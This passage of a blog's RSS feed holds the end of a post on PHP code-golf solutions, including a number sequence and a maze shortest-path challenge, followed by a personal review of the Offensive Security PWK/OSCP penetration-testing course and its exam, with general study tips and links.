&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;µ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ö&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$µ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?--&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^=&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;C&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ö&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; / &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$µ&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shown in hex:&lt;br /&gt;
&lt;img src=&quot;/images/primo-cantor-hex.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;By comparrison, this was the next shortest submission from the user JWvdVeer with 76 bytes:&lt;/p&gt;
&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++^&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;--?&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:--&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$b&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=++&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$x&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; / &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$y&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;
&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;pathing&quot;&gt;Pathing&lt;/h3&gt;

&lt;p&gt;The challenge description were as follows:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The constant MAP will contain one random map.&lt;/li&gt;
  &lt;li&gt;Your program should output, to standard out, one single number,
the shortest distance from . to X. (alas, how many moves are the absolute 
minimum to get from the spot marked with ‘.’ to the spot marked with ‘X’)&lt;/li&gt;
  &lt;li&gt;Do not include the starting position, but include the end position.&lt;/li&gt;
  &lt;li&gt;The map will always be closed, i.e. they will have a wall that reaches all the way around.&lt;/li&gt;
  &lt;li&gt;The map are of random size, but no map will be greater than 50*50.&lt;/li&gt;
  &lt;li&gt;The map may not always be square, but will always be rectangular.&lt;/li&gt;
  &lt;li&gt;You may only move up, down, left or right. No diagonals.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example input value (Given in the MAP constant on runtime):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;####################################
####################################
####################################
####### ############################
######  .###########################
######   ##############X ###########
#####     ##############  ##########
##### #  ############  ## ##########
#####       #######    #   #########
#######     ##### #      ###########
########  #####           ##########
########   #### ####   #############
########  #  #  ####   #############
########         ###################
#########        ###################
####################################
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example answer: 36&lt;/p&gt;

&lt;p&gt;This was the leading submission with only 118 bytes.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;^&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=~&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;MAP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Ñ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=~&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Ü&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;strpos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$m&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;õ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*~-&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Ü&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Ü&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]];)&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$f&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$$p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And as shown in hex:&lt;br /&gt;
&lt;img src=&quot;/images/primo-pathing-hex.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;
</description>
				<pubDate>Tue, 01 May 2018 00:00:00 +0000</pubDate>
				<link>/phpgolf/2018/05/01/phpGolf-tips-and-tricks.html</link>
				<guid isPermaLink="true">/phpgolf/2018/05/01/phpGolf-tips-and-tricks.html</guid>
			</item>
		
			<item>
				<title>Offensive Security PWK/OSCP Review</title>
				<description>&lt;h1 id=&quot;intro&quot;&gt;Intro&lt;/h1&gt;
&lt;p&gt;Aside from an ethical hacking class at the university, I had no other experience with internal network penetration testing before hand, so I was quite fresh when starting at the PWK labs. Over the coarse of about six months I had 90 days of lab time, but real work and personal life took away much of the time, rendering me only with about 30 productive days in the lab.&lt;/p&gt;

&lt;p&gt;My methodology doing the PWK lab was to focus 100% on each machine until it was rooted, before going to the next. In the beginning I just started to attack the first machine in the subnet and just followed the IP range naturally, but this soon stopped being possible. This is because the difficulty level does not follow the IP range. After this I started to go for low hanging fruit around the subnet instead. I used about half a day to a day on each machine, except the really easy ones, which took some minutes. This was a concern for me, because I was afraid I would not have enough time to finish enough machines on the exam, with only 24 hours available.&lt;/p&gt;

&lt;p&gt;I decided to seek hints from the forums when I was stuck for more than an hour. If you are able to read between the lines among the replies saying “try harder” and “enumerate more”, you can maybe extract an idea that will move you forward. I felt that this was better than using days stuck in the wrong rabbit hole, leading you nowhere, but maybe you would learn more from that, I don’t know. This might be a huge discussion for another day.&lt;/p&gt;

&lt;p&gt;I signed up for my first exam 16. of February 2018, which was the first available Friday. The exam started at 0800AM and at 1100AM I had root shell on the buffer overflow machine. I was feeling good and motivated! However, after 12 hours I only had one local shell more to show for. At this point I didn’t see the light in the tunnel. My mindset now was to just do the rest of the exam for fun and learning. Around 0400AM, four hours before deadline, things changed. I was high on caffeine and I was in my ultra focused state of mind, which I get at night time. Programmers are probably familiar with the &lt;a href=&quot;https://swizec.com/blog/why-programmers-work-at-night/swizec/3198&quot;&gt;phenomenon&lt;/a&gt;. The machines went down one by one and when the time was up, I only had one 25 point machine left. I was a little frustrated I couldn’t root it, but overall I was happy I had enough points to pass. You are allowed to use Metasploit on one machine, and at this time I hadn’t used it yet, but there was no time left. Instead of going to sleep, I immediately started to go over my notes to improve and supplement them. Better to do this now when the machines are fresh in memory, rather than after waking up.&lt;/p&gt;

&lt;p&gt;After about 7 hours of sleep, I started to port my notes and screenshots from KeepNote to LibreOffice Writer. If I would do it again, I would strive to get a copy of Microsoft Word instead, for a more trivial word processor to work with. Uploading the exam and lab report was the worst part. Offensive Security are very strict about the formating. They state that they will fail you are not compliant with their policy. So after checking everything ten times I finally uploaded it.&lt;/p&gt;

&lt;p&gt;On Monday morning an email from OffSec popped up on my phone. I was not expecting an answer this early, since it stated it would take up to three business days.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Dear Daniel,&lt;/p&gt;

  &lt;p&gt;We are happy to inform you that you have successfully completed the Penetration Testing with Kali Linux certification exam and have obtained your Offensive Security Certified Professional (OSCP) certification.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That message was a relief and a perfect way to start the week.&lt;/p&gt;

&lt;h1 id=&quot;review&quot;&gt;Review&lt;/h1&gt;
&lt;p&gt;I was overall very happy with the PWK course. It was an amazing learning experience. It was indeed very hard and challenging, but also very fun. You are not only learning about technical penetration testing and methodology, but you’ll get a better understanding about computers and networks in general.&lt;/p&gt;

&lt;p&gt;The videos in the course material is of the highest quality, and above everything you will find on YouTube. The exercises that comes in the PDF is part of my biggest complaint about the course and the exam. You get 5 extra points if you write a report for at least ten lab machines and answering all the lab exercises. First off, I think the exam should be totally independent and not grant extra points for doing other things. One could just have copied someone else’s report and answers to get 5 free points, or did it themselves with infinite amount of time. It doesn’t prove anything. The only good thing about following the exercises is that it will guide you to low hanging fruits in the lab. It is also a fine starting place if you are a complete beginner, but when people can get 5 points for free, no matter the skill level, they will probably do it. And doing the exercises while you have precious lab does not feel great. Some of the exercises are good, but others feels like a waste of time and backwards to do.&lt;/p&gt;

&lt;p&gt;The pricing of the course is a great part about it. It’s only $800 for 30 days lab time, course material and exam attempt. This makes it much easier for hobby pentesters to take the certification without the backing of the company they do not work for yet. Instead of partaking in one SANS course, you can actually take all the online Offsec courses (PWK, CTP and WiFu) and still have a lot of money left. These certifications never expire, does actually prove something, are highly respected and recognized, compared to a SANS certification.&lt;/p&gt;

&lt;h1 id=&quot;resources-tips-and-tricks&quot;&gt;Resources, tips and tricks&lt;/h1&gt;

&lt;p&gt;For Linux privilege escalation I would strongly recommend using &lt;a href=&quot;https://github.com/sleventyeleven/linuxprivchecker/blob/master/linuxprivchecker.py&quot;&gt;linuxprivchecker.py&lt;/a&gt;. Upload it to after you have initial local shell on a Linux host. Read the output carefully, but don’t always trust the exploit suggestions at the bottom. Use Google instead.&lt;/p&gt;

&lt;p&gt;Windows privilege escalation is a little different. There are tools like linuxprivchecker.py for Windows also, but I never had any success running them. But all you really ever need are found on the following links:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/16.html&quot;&gt;http://www.fuzzysecurity.com/tutorials/16.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://toshellandback.com/2015/11/24/ms-priv-esc/&quot;&gt;https://toshellandback.com/2015/11/24/ms-priv-esc/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You will need to be able to build basic buffer overflow exploits yourself. The lab exercises are great resources for this. Besides that, I strongly recommend that you grab a Windows 7 machine from &lt;a href=&quot;https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/&quot;&gt;Microsoft&lt;/a&gt; and try &lt;a href=&quot;https://github.com/justinsteven/dostackbufferoverflowgood&quot;&gt;dostackbufferoverflowgood&lt;/a&gt;. Write an exploit yourself and look at the walkthrough afterwards. It will teach your tricks PWK didn’t.&lt;/p&gt;

&lt;p&gt;If I would go into the lab again now, I would try out &lt;a href=&quot;https://github.com/kostrin/Pillage&quot;&gt;Pillage&lt;/a&gt; to save time on the initial enumeration phase. I haven’t tried it much myself, so I can’t guarantee its quality, but I think it’s worth testing.&lt;/p&gt;

&lt;p&gt;The course suggests using KeepNote, that ships with Kali, to document the lab machines, but the project seems dead, and has not been updated since 2012. I would look into &lt;a href=&quot;https://www.giuspen.com/cherrytree/&quot;&gt;CherryTree&lt;/a&gt; or &lt;a href=&quot;https://evernote.com&quot;&gt;Evernote&lt;/a&gt; if I would take the course again.&lt;/p&gt;

&lt;p&gt;An important thing to remember is to always revert a machine before you start on it. I have been burned by this many times and wasted so much time.&lt;/p&gt;

&lt;p&gt;I would recommend hanging around on the IRC channel with the other students. You are not allowed to discuss lab machines, but you can discuss the course in general and mingle about other things.&lt;/p&gt;

&lt;p&gt;Lastly, read the documentation around the &lt;a href=&quot;https://support.offensive-security.com&quot;&gt;PWK course and the OSCP exam&lt;/a&gt; in great detail.&lt;/p&gt;
</description>
				<pubDate>Sat, 03 Mar 2018 00:00:00 +0000</pubDate>
				<link>/certifications/2018/03/03/PWK-OSCP-Review.html</link>
				<guid isPermaLink="true">/certifications/2018/03/03/PWK-OSCP-Review.html</guid>
			</item>
		
	</channel>
</rss>
